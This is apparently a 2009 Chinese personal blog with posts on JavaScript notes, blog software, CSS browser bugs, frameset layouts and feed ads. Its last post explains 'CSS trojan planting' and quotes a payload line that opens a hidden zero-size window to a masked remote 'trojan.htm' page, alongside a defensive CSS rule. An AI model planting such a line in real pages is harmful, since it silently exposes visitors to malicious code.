JavaScript学习笔记
作者:dangbao 日期:2009-03-01
- JavaScript程序是用Unicode字符集编写的。16位的Unicode编码可以表示地球上通用人每一种语言。
- JavaScript是一种区分大小写的语言。
- JavaScript会忽略程序中几号之间的空格、制表符和换行符。
- null表示“无值”，是JavaScript的保留字。undefined是在使用了一个并未声明的变量时，或者使用了已经声明但还没有赋值的变量，又或者使用了一个并不存在的对象属性时返回的值。
- JavaScript的变量可以存放任何类型的值。没有类型规则。
- JavaScript没有块级作用域。
- JavaScript变量基本上和对象的属性是一样的。
Tags: JavaScript
入手JavaScript权威指南
作者:dangbao 日期:2009-02-27
从当当网订购了这本书JS重量级的权威之作--JavaScript权威指南(第五版)。第5版针对Ajax和Web 2.0技术进行了全新的改版。本书一样紧跟时尚,最新的ajax，流行的js封装技术在本书都有详细说明。这本书同时具备教程和手册两用封面是o'reilly公司的动物系列--爪哇犀牛。书比较厚，共有954页。定价：109元，在当当是75折，所以是81.75元买的，很合适。前言、第一章、第一、二部分是用来学习的，后面的第三--六部分以及索引、词汇边等都是用来查阅的。本博也会陆续的去写阅读和学习的笔记。毕竟这是全球超过30万的JavaScript程序员的必备参考，JavaScript之父高度评价和强力推荐的权威之作。JavaScript权威指南目录
前言
第1章 JavaScript概述
第一部分 核心JavaScript
第2章 词法结构
第3章 数据类型和值
Tags: JavaScript
网易新产品-有道快帖
作者:dangbao 日期:2009-02-25
pjblog和z-blog使用浅评
作者:dangbao 日期:2009-02-25
使用asp个人Blog的大概都知道pjblog和z-blog。我来说说最新版本的PJBlog3v3.0.6.170和Z-Blog 1.8 Arwen Build 81206使用后的一点感受，仅供参考。
- 使用。PJ用户在前台可以编辑、删除帖子，发新帖也在前台完成。ZB则是在后台完成。也可以通过插件实现在前台显示编辑按钮，但是还是会跳到后台编辑。ZB可以实现UBB和可视化编辑的自由转换，而PJ则是只能在发文章的时候选择好了要使用UBB还是FCK。
- 界面设计。预置的前台皮肤来说，PJ的比较好看点。后台的美观度和易用性也是PJ比较好点。ZB的稍有不足。而且预置内容也稍差点。
- 皮肤。双方的官网都有很多精美的皮肤。整体论设计水平高的皮肤，我还是选PJ。PJ的皮肤制作和修改也比较简单，就是CSS和图片，可以在线编辑静态模板和CSS。ZB的皮肤是一个专用的包。制作起来稍显复杂，里面包含静态的HTML。如果有人在模板里加入广告代码，对使用者来说也是不利的。不过其后台可以自动更新主题，功能不错。
- 插件。双方的插件都可以在线安装和卸载。不过PJ的好多插件在开启了静态日志后不能使用。而且就插件的功能、实用度、水准、数量来说，ZB的明显占据优势。WilliamLong、巴士飞扬等大腕写的插件非常棒。
- 模块。PJ的模块比较简单。可以自由添加内容和侧边的模块，并且对模块进行编辑
。系统模块也比较多。日历、导航、档案、链接等常用的都有。不过系统模块是在每个页都显示的。添加的模块在静态页还无法显示，除非是改静态模板。ZB的则在后台没有这项功能，只能通过编辑静态模板来实现了。当然DIY性更高。
避免浏览器差异和BUG消除技巧
作者:dangbao 日期:2009-02-23
- CSS的优先权：style优先级大于id,id的优先级大于class。
- FF下水平居中：margin-left:auto;margin-right:auto。
- 网页编码为UTF-8,页面注释最好用英文。
- 一个容器内有两个以上浮动元素注释时，容易引起IE BUG(莫名出现结尾字符)。解决方法：删除注释。
- 浮动+margin在IE6下出现双倍边距，display:inline消除。
- IE6不支持除A标签以外的伪类。
- IE下容器边框有断裂的地方，容器加上宽度或者zoom:1即可。
一行代码改变全局效果集锦
作者:dangbao 日期:2009-02-19
- 让状态栏不显示链接地址： a{cc:expression(window.status='')}
- 消除链接出现虚框： a.For IE浏览器：在HTML标签中加上hidefocus=”true” 属性即可。b.For Firefox：a:focus{outline:none}
- 使网页变灰的代码：body{filter:gray}或者html{filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);}（使用CSS滤镜，IE Only;）
- 使Iframe在IE下透明：iframe{filter:progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)';}。另外可以在框架上加ALLOWTRANSPARENCY="true"，同时，在IFrame中的页面要加上：body{background-color:transparent;}
- 强制将IE8以类似IE7的方式来呈现页面:<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />(放在页面HEAD部分)
- css代码解决iframe挂马：iframe{v:expression(this.src='about:blank',this.outerHTML='');}
- 给页面添加下雪效果：<script src="http://s1.wordpress.com/wp-content/plugins/snow/snowstorm.js" type="text/javascript"></script>
Tags: 一行代码改变全局
UL-LI的使用和相关浏览器问题
作者:dangbao 日期:2009-02-18
我们知道ul默认值中，IE给了UL一个margin值，而FF给了一个padding值。如果我们给ul加一个背景或者边框，就可以看到的就是在IE中的项目符号是在UL外面，所以UL的宽度是不算项目符号在里面的(如图1);而FF是项目符号在UL里面，宽度包括项目符号(如图2)。这样对CSS解释的差异就导致了我们以后在各种情况下使用列表ul\li所导致的一系列bug.实际应用中，我们先会把样式重置-css reset(如图3)。把margin:0;padding:0;后会发现项目符号不见。添加list-style-position:inside，项目符号又回来了(如图4)。
list-style-position:outside: 列表项目标记放置在文本以外，且环绕文本不根据标记对齐。inside : 列表项目标记放置在文本以内，且环绕文本根据标记对齐。
li浮动后，项目符合在IE下不会显示，但在FF下显示正常。好在我们让LI浮动后基本不会让它出现项目符号，所以这个IE BUG可以基本不管。但是一定要设置list-style-type:none;要不然你会发现在FF中会出现项目符号的。
这里介绍一个属性display: list-item：将块对象指定为列表项目。并可以添加可选项目标志。也就是ul\li的简化版，在DIV和P中可以设置为列表显示，并且可以为列表项目添加符号。
通常我们不会用默认的项目符号，因为浏览器的不同。它的位置和大小在各个浏览器中渲染有差异，而且它不能精确定位，所以绝大多数的时候我们通过对li设置图片背景backgroud-image:url() no repeat来模拟项目符号。
猫扑大杂烩的左右拖动折叠框架
作者:dangbao 日期:2009-02-12
这个效果想必是目前大家都想的吧。frameset分左右两个frame。frame的宽度是可以拖动的。并且在中间有一个点击关闭和展开的按钮。可以让右边frame的内容全屏宽度显示。原理是在左面框架加一个点击改变宽度的按钮，然后模拟实现折叠效果。当然直接在左面frame里写内容是不行的。而是用一个100%的左中右三列的TABLE来模拟框架，表格左面放需要显示左面的内容的新页，中间是显示按钮，右面是显示frameset右边内容的。这是猫扑大杂烩写的，虽然代码有点老，但是很值得学习。类似的chinaren等的则没有折叠左面框架的功能。
具体效果请点击这里查看吧
Code
<frameset rows="100,*" frameborder="0" border="0" framespacing="0">
<frame name="daoHangTiao" id="daoHangTiao" src="top.htm" scrolling="no" frameborder="0" noresize>
<frameset name="main" cols="300,*" scrolling="no" frameborder="0" border="0" framespacing="3">
<frame name="leftFrame" id="leftFrame" scrolling="no" src="left.htm" frameborder=0 scrolling="no" marginwidth="0" marginheight="0" border=0 framespacing="0">
<frame name="right" id="right" src="right.html" scrolling="no" border=0 frameborder=0 framespacing="0">
</frameset>
</frameset>
<frame name="daoHangTiao" id="daoHangTiao" src="top.htm" scrolling="no" frameborder="0" noresize>
<frameset name="main" cols="300,*" scrolling="no" frameborder="0" border="0" framespacing="3">
<frame name="leftFrame" id="leftFrame" scrolling="no" src="left.htm" frameborder=0 scrolling="no" marginwidth="0" marginheight="0" border=0 framespacing="0">
<frame name="right" id="right" src="right.html" scrolling="no" border=0 frameborder=0 framespacing="0">
</frameset>
</frameset>
AdSense for Feeds广告添加成功
作者:dangbao 日期:2009-02-10
经常在RSS阅读器里看到订阅的文章有GOOGLE广告，因为工作忙也没去研究是如何添加的。后来偶然间看到一篇文章才明白了是怎么回事。首先要注册FeedBurner账户。然后Monetize--Configure Ads来迁移到google广告账户。这样，在别人订阅你的文章后，打开的文章里都可以显示广告了。当然，要在AdSense账户里制作你的feeds广告单元，你可以选择文字或图片广告类型、广告出现的频率、根据帖子的长度来限制显示广告、广告在供稿项出现的位置、广告条的颜色是自动还是自选等一系列的选项。每个广告单元的大小是根据供稿单元自动调整大小的。Dangbao's Blog Feed地址： http://www.dangbao.net/feed.asp
本博在feedburner的Feed地址： http://feeds2.feedburner.com/Dangbao
本博在feedsky的Feed地址： http://feed.feedsky.com/Dangbaoblog
css挂马?
作者:dangbao 日期:2009-02-06
在RSS里面看到一篇文章，讲的是CSS挂马及相应防范方法。好奇之下看了一看。原理是通过变形的expression在CSS代码中动态执行脚本，让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。在CSS里用JS的方法打开一个新页面，在后台悄悄地运行新窗口并激活访问网页溢出木马页面，不会影响访问者观看网页内容，因此更加隐蔽。我搜索了一下相关文章，基本上都是在BODY里设置background-image的属性。例如设置新打开一个高度和宽度为零的窗口。：不过大家也都知道expression也只是IE ONLY。使用非IE浏览器就可以了。同时我们也可以添加一行iframe{v:expression(this.src='about:blank',this.outerHTML='');}来阻止新窗口和弹出。
Code
background-image: url(t:open("http://www.****.com/trojan.htm"，"newwindow"，"border="1" Height=0， Width=0， top=1000， center=0， toolbar=no，menubar=no， scrollbars=no，resizable=no，location=no，status=no"))
